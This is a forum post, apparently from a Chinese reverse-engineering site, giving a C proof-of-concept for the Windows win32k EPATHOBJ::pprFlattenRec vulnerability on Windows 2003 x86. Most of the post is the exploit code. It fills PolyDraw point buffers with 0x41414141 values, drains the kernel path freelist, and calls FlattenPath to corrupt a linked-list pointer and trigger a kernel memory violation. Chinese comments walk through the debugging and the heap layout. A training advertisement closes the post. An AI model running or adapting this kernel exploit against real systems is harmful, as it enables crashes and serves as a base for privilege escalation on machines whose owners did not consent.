具体调试见这里
f43K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0A6L8Y4k6#2L8q4)9J5k6h3y4G2L8g2)9J5c8Y4u0W2k6r3W2J5k6h3y4@1i4K6u0W2M7r3S2H3i4K6y4r3N6r3W2V1i4K6y4p5x3K6x3K6
/*
* windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com
* tested in windows 2003 x86
* THX -> 09dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4k6#2M7r3g2F1i4K6u0W2j5$3!0E0i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3e0x3H3y4K6t1K6i4K6u0W2b7h3c8$3j5h3&6U0k6h3c8Q4y4h3k6q4P5s2m8D9L8$3W2@1j5i4c8A6L8$3&6Q4y4h3k6i4K9h3&6V1L8%4N6K6i4K6g2X3d9$3g2J5L8X3g2D9i4K6g2X3g2$3W2F1x3K6u0C8i4K6g2X3c8h3!0b7i4K6g2X3e0g2x3I4x3#2)9J5k6o6l9#2x3#2)9J5k6i4m8Z5M7l9`.`.
*/
#include <stdlib.h>
#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
#include <Shellapi.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#define MAX_POLYPOINTS (64*498) //64 * 4k
POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010
#define ENABLE_SWITCH_DESKTOP 1
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
int main(int argc, char **argv)
{
HDC expDev, tmpDc = NULL;
ULONG i;
expDev = GetDC(NULL);
for (i = 0; i < MAX_POLYPOINTS; i++) {
Points[i].x = 0x41414141;
Points[i].y = 0x42424242;
PointTypes[i] = PT_BEZIERTO;
}
/* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
e194d008 e199d008 e194dfbc 00000fc0 e199d014 e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
e194d018 00000000 00000011 000001f3 00000000
e194d028 00000000 14141410 24242420 14141410
e194d038 24242420 14141410 24242420 14141410
...
e194dfa8 24242420 14141410 24242420 14141410
e194dfb8 24242420 00000000 00000000 00000000
* 调试:
* 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
* 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
* 3 FlattenPath
* 第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
直接返回一个指向0x414141 0x42424242内存区域
第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
此时如果内存分配失败,或者自己在用winbdg改成NULL
此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
4 FlattenPath
内存违规!!!
*/
BeginPath(expDev);
PolyDraw(expDev, Points, PointTypes, 498);
EndPath(expDev);
BeginPath(expDev);
PolyDraw(expDev, Points, PointTypes, 498-15);
EndPath(expDev);
while (tmpDc = CreateCompatibleDC(GetDC(NULL))) {
BeginPath(tmpDc);
if (!PolyDraw(tmpDc, Points, PointTypes, 498*64)){
for (i=63; i>0; i--){
BeginPath(tmpDc);
if (PolyDraw(tmpDc, Points, PointTypes, 498*i)){
printf("start poc %d...\n", i);
FlattenPath(expDev);
FlattenPath(expDev);
}
}
}
}
return 0;
}
[培训]科锐逆向工程师培训第53期2025年7月8日开班!